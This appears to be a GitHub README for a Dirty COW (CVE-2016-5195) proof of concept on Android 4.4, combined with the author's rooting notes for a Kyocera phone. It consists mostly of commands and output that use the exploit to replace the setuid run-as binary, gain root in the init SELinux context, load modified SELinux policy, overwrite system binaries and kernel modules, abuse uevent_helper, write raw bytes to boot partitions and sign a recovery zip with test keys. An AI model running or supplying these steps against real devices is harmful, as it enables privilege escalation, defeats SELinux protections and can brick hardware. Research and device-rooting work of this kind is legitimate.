/CVE-2016-5195

CVE-2016-5195 (dirtycow/dirtyc0w) proof of concept for Android

Primary LanguageC

CVE-2016-5195

CVE-2016-5195 (dirty cow/dirtycow/dirtyc0w) proof of concept for Android

Info

This is POC of the exec wrapper which can execute app under any user or any SELinux context. Tested on Linux hosts only and on Android 4.4.x KitKat.

Libraries

selinux.h header was taken from Android source:

curl 'https://android.googlesource.com/platform/external/libselinux/+/android-4.4.2_r2/include/selinux/selinux.h?format=TEXT' | base64 -d > selinux.h

In case when your Android NDK doesn't contain libselinux.so library, it should be pulled automatically from your smartphone using adb shell.

Android NDK

You have to download an Android NDK, unpack it and set the path to you Android NDK directory before running make:

export PATH=$PATH:/path/to/android/ndk

Description

  • dirtycow.c - executes dirtycow exploit and replaces original /system/bin/run-as which uses setuid.
  • run-as.c - simple wrapper with the root setuid.
  • run.c - wrapper which support execution with any UID/GID and SELinux context.

run-as.c doesn't contain run.c features becasue run-as binary should be as small as possible.

run.c binary support the following parameters:

  • -u - UID or user name
  • -g - GID or group name (if not set will use UID)
  • -c - SELinux context string, i.e. u:r:init:s0

If nothing was set UID and GID will be set to 0 (root), SELinux context will be inherited from the current session.

Build

You have to modify Makefile in case when you don't compile binaries for the Android 4.4 KitKat and armeabi-v7a architecture. The command below will compile, push and replace original run-as binary.

make run

Run

$ adb shell
shell@Android:/ $ /system/bin/run-as /data/local/tmp/run -u root -g root -c u:r:init:s0 id
uid=0(root) gid=0(root) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:init:s0

The problem

The last existing problem is to disable SELinux (set it to permissive mode). It should be possible to disable SELinux using the command below:

shell@Android:/ $ run-as /data/local/tmp/run -u system setenforce 0
setenforce:  Could not set enforcing status:  Invalid argument

but it doesn't work. Even echo 0 > /sys/fs/selinux/enforce return error:

shell@Android:/ $ run-as /data/local/tmp/run -u system -c u:r:system:s0 id
shell@Android:/ $ echo 0 > /sys/fs/selinux/enforce
1|shell@KC-S701:/ $

Control daemons in Adnroid

setprop ctl.start DAEMON

Kernel version

$ cat /proc/version
Linux version 3.4.0 (build@KYOCERA) (gcc version 4.7 (GCC) ) #1 SMP PREEMPT Wed Apr 1 16:03:40 JST 2015
$ getprop ro.build.fingerprint
KYOCERA/KC-S701/KC-S701:4.4.2/101.0.1830/101.0.1830:user/release-keys
$ getprop ro.build.internalswversion
0.501NZ.01.a

Clone kernel:

git clone https://android.googlesource.com/kernel/msm
cd msm
git checkout -b android-4.4w_r10 android-4.4w_r10
grep -A4 ^VERSION Makefile


looking for `tristate "MMC/SD driver for Ricoh Bay1Controllers (EXPERIMENTAL)"` and `bool "Ricoh MMC Controller Disabler  (EXPERIMENTAL)"` inside the `drivers/mmc/host/Kconfig`

Unlock the bootloader

$ cat /proc/secboot_mode
0x4e4f4253

Linux kernel contains QFPROM_SECBOOT_ON (0x4E4F4253) entry (./arch/arm/mach-msm/board-8226.c, ./lk/app/aboot/aboot.c).

https://github.com/ghassani/qfprom-kmod

##### reboots to fota even on regular reboot
adb push one_bit.bin /data/local/tmp/
dd if=/data/local/tmp/one_bit.bin of=/dev/block/mmcblk0p33 seek=16 bs=1 count=1
dd if=/data/local/tmp/one_bit.bin of=/dev/block/mmcblk0p33 seek=24 bs=1 count=1
dd if=/data/local/tmp/one_bit.bin of=/dev/block/mmcblk0p33 seek=131088 bs=1 count=1
dd if=/data/local/tmp/one_bit.bin of=/dev/block/mmcblk0p33 seek=131096 bs=1 count=1
sync
echo 3 > /proc/sys/vm/drop_caches
# when work on FS
printf "\x01" | dd of=fotamng.img.test seek=16 bs=1 count=1 conv=notrunc
printf "\x01" | dd of=fotamng.img.test seek=24 bs=1 count=1 conv=notrunc
printf "\x01" | dd of=fotamng.img.test seek=131088 bs=1 count=1 conv=notrunc
printf "\x01" | dd of=fotamng.img.test seek=131096 bs=1 count=1 conv=notrunc
# when work in dload mode
printf "\x01" | dd of=/dev/sdb33 seek=16 bs=1 count=1
printf "\x01" | dd of=/dev/sdb33 seek=24 bs=1 count=1
printf "\x01" | dd of=/dev/sdb33 seek=131088 bs=1 count=1
printf "\x01" | dd of=/dev/sdb33 seek=131096 bs=1 count=1
#####
setprop sys.powerctl reboot,recovery #0x77665502 - works, look for 02556677 in sbl
setprop sys.powerctl reboot,rtc # doesn't work
setprop sys.powerctl reboot,bootloader #0x77665500 - doesn't work, look for 00556677 in sbl
setprop sys.powerctl reboot,oem-1 # works only when auth error is true (dtm can not be loaded), look for 016d656f in sbl
setprop sys.powerctl reboot,edl # emergency download mode - works / QHSUSB__BULK / http://www.androidbrick.com/download/unbrick-qualcomm-qpst-2-7-437-latest-qfil-qualcomm-flasher-2/
http://www.androidbrick.com/ultimate-qualcomm-snapdragon-unbrick-guide-snapdragons-are-unbrickable-qhsusb_dload_qpst_qfil/
setprop sys.powerctl reboot,kdfs_reboot # what is that?
setprop sys.powerctl reboot,dload

Download mode

CONFIG_MSM_DLOAD_MODE kernel option. ./arch/arm/mach-msm/restart.c source.

Works only if set dload_mode_enabled in kernel. Search for 7D337BE4 and 1A0914CE in ebl partition (vim ./arch/arm/mach-msm/restart.c +104).

Sepolicy modification

You can download and modify /sepolicy file (using ./dirtycow). When you've modified tje /sepolicy file using dirtycow you have to run setprop selinux.reload_policy 1 on android device to reload the policy (this will trigger /sbin/ueventd and /system/bin/installd restart).

Modify sepolicy file

Dump:

export PATH_TO_SEPOLICY_DIR=/path/to/sepolicy/dir
sudo apt-get install docker.io # docker-engine for Ubuntu 16.04
git clone https://github.com/kayrus/sedump
docker build -t sedump docker
docker run -ti --rm -v ${PATH_TO_SEPOLICY_DIR}:/mnt sedump python setools/sedump /mnt/sepolicy -o /mnt/policy.conf

NOTE: sedump doesn't dump permissive types yet, you have to put them manually, i.e. just copy from https://android.googlesource.com/platform/external/sepolicy/+/android-4.4.2_r2 (grep -h permissive *.te).

Build it back:

export PATH_TO_SEPOLICY_DIR=/path/to/sepolicy/dir
# sepolicy version 26 is used in KitKat
checkpolicy -M -c 26 -o ${PATH_TO_SEPOLICY_DIR}/sepolicy.new ${PATH_TO_SEPOLICY_DIR}/policy.conf

NOTE: Unfortunately rebuilded sepolicy file is not identical to original one, it has same size though.

Upload:

adb push sepolicy.new /data/local/tmp/
adb shell run-as /data/local/tmp/run -u system -c u:r:init:s0 load_policy /data/local/tmp/sepolicy.new
#adb shell /data/local/tmp/dirtycow /sepolicy /data/local/tmp/sepolicy.new
#adb shell 'run-as /data/local/tmp/run -c u:r:init:s0 setprop selinux.reload_policy 1'

Enable dmesg

adb push setenforce /data/local/tmp/setenforce
adb shell /data/local/tmp/dirtycow /system/vendor/bin/kfbmpower /data/local/tmp/setenforce
adb shell /system/bin/run-as /data/local/tmp/run setprop kcfactory.kfbm.status kfbm

Partitions

http://newandroidbook.com/Articles/aboot.html

  • sbl1 - secure bootloader partition

Attribute flags: 1000000000000000 means read-only partition.

Audit2allow

Now we can analyze logs and create /sepolicy rules:

adb shell dmesg | audit2allow

Capabilities

We have to make sure we have CAP_SYS_ADMIN capabilities.

$ capsh --decode=$(adb shell cat /proc/1/status | awk '/^CapBnd/ {print $2}')
cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63
$ capsh --decode=$(adb shell cat /proc/self/status | awk '/^CapBnd/ {print $2}')
0xfffffff0000000c0=cap_setgid,cap_setuid,cap_block_suspend,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63

What we can do to get full capabilities?

  • Patch kernel sepolicy domain and allow

Uevent kernel

cp /data/local/tmp/lsh /dev/lsh
cp /data/local/tmp/setenforce /dev/setenforce
echo "/dev/lsh" > /sys/kernel/uevent_helper
echo /data/local/tmp/lsh > /sys/kernel/uevent_helper
echo /dev/setenforce > /sys/kernel/uevent_helper

SOC msm8226 MTP

Debug remount

[13908.111258] no permission in selinux_mount pid=11849 pname=mount realpath=/system dev_name=/dev/block/platform/msm_sdcc.1/by-name/system
vim ./security/selinux/hooks.c +1932

Linux cmdline options

Get cmdline string:

$ run-as cat /proc/cmdline
console=ttyHSL0,115200,n8 no_console_suspend=1 androidboot.console=ttyHSL0 androidboot.hardware=qcom user_debug=31 msm_rtb.filter=0x37 androidboot.emmc=true androidboot.serialno=cc1ece89 androidboot.baseband=msm lowtempmode=0 maxcpus=4

Description:

  • androidboot.emmc=true boot instructions are sent to the kernel to check sdcard for a bootable image

Insert custom module

adb shell /data/local/tmp/dirtycow /system/lib/modules/pronto/pronto_wlan.ko /data/local/tmp/wlan.ko

dd cache flush

sync
echo 3 > /proc/sys/vm/drop_caches

Allow writing to the externel sdcard

http://winaero.com/blog/unlock-external-sd-card-writing-for-all-apps-in-android-4-4-kitkat/
http://technofaq.org/posts/2014/04/fixing-external-sd-card-write-issue-on-android-kitkat/

Sign recovery zip

Check /res/keys from the recovery initrd:

java -jar dumpkey.jar testkey.x509.pem > mykey
diff -u mykey res/keys

If keys are identical, so let's extract private key from the testdata and sign out ZIP with this key:

openssl pkcs8 -inform DER -nocrypt -in bootable/recovery/testdata/testkey.pk8 -out key.pem

Write zip file and recovery update command:

cp su.zip /cache/su.zip
echo --update_package=/cache/su.zip --show_text > /cache/recovery/command
#or
# echo --show_text > /cache/recovery/command
setprop sys.powerctl reboot,recovery
# or graceful reboot
su
svc power reboot

Sepolicy info links

Read fastboot, etc:

Useful tricks

  • ps -Z - list running apps with their SELinux context.
  • ls -Z - list files with their SELinux file context.
  • Write the /cache/recovery/command file with the --show_text contents, then run adb reboot recovery (or in details setprop sys.powerctl reboot,recovery, or echo -n "boot-recovery" > /dev/block/platform/msm_sdcc.1/by-name/misc - very dangerous, if recovery doesn't work it could issue the bootloop) and Android will be rebooted into recovery menu. It won't allow you to flash unsigned zip files though.

Links